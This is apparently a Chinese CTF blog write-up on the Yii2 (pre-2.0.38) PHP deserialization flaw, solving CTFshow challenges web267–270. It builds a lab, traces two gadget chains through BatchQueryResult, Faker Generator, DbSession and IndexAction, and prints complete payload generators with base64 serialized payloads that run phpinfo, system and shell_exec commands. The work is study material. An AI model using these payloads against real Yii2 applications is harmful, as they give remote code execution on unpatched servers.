# 前言

CTFshow 做到这一块了,先简单的记录一下对 pop 链的构建,然后借助题来练习一下

文章参考 Yii2.0 路由(Route)的实现原理 - 教程 - Yii Framework 中文网 (yiichina.com)

(66 条消息) yii 反序列化漏洞复现及利用_yii 漏洞_拓海 AE 的博客 - CSDN 博客

# yii 框架

yii 是一个适用于 web2.0 的应用开发 php 框架
yii 是一个通用的 web 编程框架,即可以开发各种用 PHP 构建的 web 应用。因为基于组件的框架结构,比较适合大型应用开发,现在主要使用的是 2.0 这个重写的版本,它使用了 php 的命名空间和特质的特性

# 漏洞描述

yii2.2.0.38 之前的版本存在反序列化漏洞,程序在调用 unserialize 时,我们可以通过构造特定的 payload 来进行 rce

# 环境搭建

选择的版本是 2.0.37Release 2.0.37 · yiisoft/yii2 · GitHub

image-20230308212823338

在 config/web.php 文件的 cookieValidationKey 为一个值(这个值为一个随机的值就可以了,不然会报错 狗头.jpg)

在文件中有一个 yii 文件

image-20230309101038399

运行这个文件就可以开启这个服务

image-20230309101540820

访问给的这个地址

image-20230309101720932

到此,一个简单的复现环境就搭建好了

# 漏洞复现 2.0.37

环境搭建好了就开始构造利用

# 知识点

这里主要简单记录一下以前写笔记时没有记录到的知识点

# 命名空间

PHP 的命名空间是一种用于解决命名冲突问题的技术。它可以让开发者在同一个程序中使用相同的类名、函数名或常量名,而不会发生命名冲突的问题。

空间成员 :这里空间成员是指空间所影响的(只影响类,函数,常量)

空间成员的访问:

一个 php 文件中,第一个空间的定义义必须放在第 1 行。如果所要定义的空间已存在,则是进入空间

<?php
namespace app;
function test(){
    echo 1;
}
test();//app\test()
namespace app\assets;
function test(){
    echo 2;
}
test();//app\assets\test()

在 PHP 中,命名空间可以通过关键字 namespace 来定义。例如,下面的代码定义了命名空间 MyNamespace

namespace MyNamespace;
class MyClass {
    // class definition
}

在定义了命名空间之后,我们可以使用完全限定名称(Fully Qualified Name)来访问该命名空间中的类、函数或常量。例如,如果要访问上面定义的 MyClass 类,可以使用以下代码:

$obj = new \MyNamespace\MyClass();

在上面的代码中, \ 表示根命名空间,因此 \MyNamespace\MyClass 表示完全限定名称。

引入空间成员 :

use 空间名 \ 空间名 【as 别名】:将指定空间引入到当前空间。同可以使用 as 关键字为被引入的空间起个别名。

use 空间名 \ 空间名 \ 成员类 【as 别名】:将指定的空间中的成员引入到当前空间,引入空间成员只能引入类。

# 路由

image-20230309104343460

这里可以看一下日志,可以看到所有的用户请求都是发送给入口脚本 index.php 来处理的。那么,开发者需要一种高效的判断请求应当采用哪个 controller 哪个 action 进行处理的方法。

这里并不像是像有些网站那种 https://www.cnblogs.com/LQ-Joker/p/16102371.html 一是过于冗长,二是易出错且难排查,三是日后修改起来容易有遗漏,yii 提供了路由和 URL 管理的组件路由是指 URL 中用于标识用于处理用户请求的 module, controller, action 的部分,一般情况下由 r 查询参数来指定。如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由 PostController 的 actionView 来处理。

更多的可以膜拜一下上面路由原理教程

# 复现

我们利用的是反序列化漏洞,所以我们需要构建一个反序列化的入口

在 Controllers 下面创建一个 TestController 文件

<?php
namespace app\controllers;
class TestController extends \yii\web\Controller
{
    public function actionTest($data)
    {
        return unserialize(base64_decode($data));
    }
}

漏洞利用点, basic/vendor/yiisoft/yii2/db/BatchQueryResult.php 这个文件下

public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }
    /**
     * Resets the batch query.
     * This method will clean up the existing batch query so that a new batch query can be performed.
     */
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

这里有一个__destruct 函数,通过反序列化会自动调用这个函数,跟到下一步 reset (),这里只有一个 close 可以跟进

image-20230309204712681

这里继续跟进

image-20230309204809681

没有发现可以利用的点,这里可以控制 $this->_dataReader,使用一个别的类中没有的参数,可以触发 __call 方法来进行利用。__call 函数的当调用一个不存在或者不可调用的方法的时候会自动调用,全局收索一下,那些地方有__call 函数可以利用,在 basic/vendor/fzaninotto/faker/src/Faker/Generator.php 这个文件下

image-20230309203444834

至于为什么选用这个函数,我们再进一步,查看 format 函数

image-20230309203513523

这里有一个回调函数,如果里面的参数可控这里就可以直接利用了

call_user_func_array(callable $callback, array $param_arr): mixed 
callback
    被调用的回调函数。
param_arr
    要被传入回调函数的数组,这个数组得是索引数组。
    
function a($b, $c) {  
    echo $b; 
	echo $c; 
} 
call_user_func_array('a', array("111", "222")); 
//输出 111 222

接着跟进 getFormatter 函数

image-20230309204059909

在第一个 if 语句就可以看到,这里对上面回调函数中的第一个参数是可控的,后一个参数这个函数写为空值了

这里需要一个类,可以命令执行,这里看到师傅们用的是 call_user_func

这里全局找一下带有 call_user_func 的类,这里找到两个参数可控的类

basic/vendor/yiisoft/yii2/rest/IndexAction.php

image-20230309213304905

basic/vendor/yiisoft/yii2/rest/CreateAction.php

image-20230309213342624

这两个类都可以使用,pop 链还是比较好构造的

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
Fake\Generator::__call()->format()->call_user_func_array
↓↓↓
yii\rest\IndexAction::run()->call_user_func

Payload:

<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess="phpinfo"; // 调用的函数
        public $id="1";			// 函数中的参数
    }
}
namespace Faker{
    use yii\rest\IndexAction;
    class Generator{
        protected $formatters;
        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(),'run'];
        }
    }
}
namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new Generator();
        }
    }
}
namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo3OiJwaHBpbmZvIjtzOjI6ImlkIjtzOjE6IjEiO31pOjE7czozOiJydW4iO319fX0=

image-20230310005338299

成功执行 phpinfo,执行一个 ping www.baidu.com

image-20230310005515376

# 其他 pop 链

看到师傅利用别的函数也有 pop 链,学习记录一下

链子的起点还是 basic/vendor/yiisoft/yii2/db/BatchQueryResult.php 这个文件下的__destruct 函数,这个 pop 中没有再啊利用 call 魔术方法,而是找到了一个本来就有的 close 函数来实现命令执行,找到的利用函数在 basic/vendor/yiisoft/yii2/web/DbSession.php 这里

image-20230310011115526

这个函数下面的 composeFields 可以利用

image-20230310011105476

call_user_func 这个函数中的参数也是可控的

pop:

yii\db\BatchQueryResult::__destruct()->reset()->close()
↓↓↓
yii\web\DbSession::close()->composeFields()->call_user_func()
↓↓↓
yii\rest\IndexAction::run()->call_user_func()
<?php
namespace yii\rest{
    class IndexAction{
        public $checkAccess="system";
        public $id="ping www.baidu.com";
    }
}
namespace yii\web{
    use yii\rest\IndexAction;
    class DbSession{
        public $writeCallback;
        public function __construct(){
            $this->writeCallback = [new IndexAction(),'run'];
        }
        
    }
}
namespace yii\db{
    use yii\web\DbSession;
    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader = new DbSession();
        }
    }
}
namespace {
    use yii\db\BatchQueryResult;
    echo base64_encode(serialize(new BatchQueryResult()));
}
//TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6MTg6InBpbmcgd3d3LmJhaWR1LmNvbSI7fWk6MTtzOjM6InJ1biI7fX19

image-20230310012647055

也是测试成功

# web267

这里存在弱口令,admin、admin

登录后在 about 的源码中有提示

image-20230310095940986

get 传入 view-source

image-20230310100033303

这里找到了反序列化的入口,用上面的 poc 直接打就行(这里入口 r=backdoor/shell)

image-20230310100348135

# web268-270

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); // 此处写命令
    echo(base64_encode(serialize($exp)));
}

换一个链子就行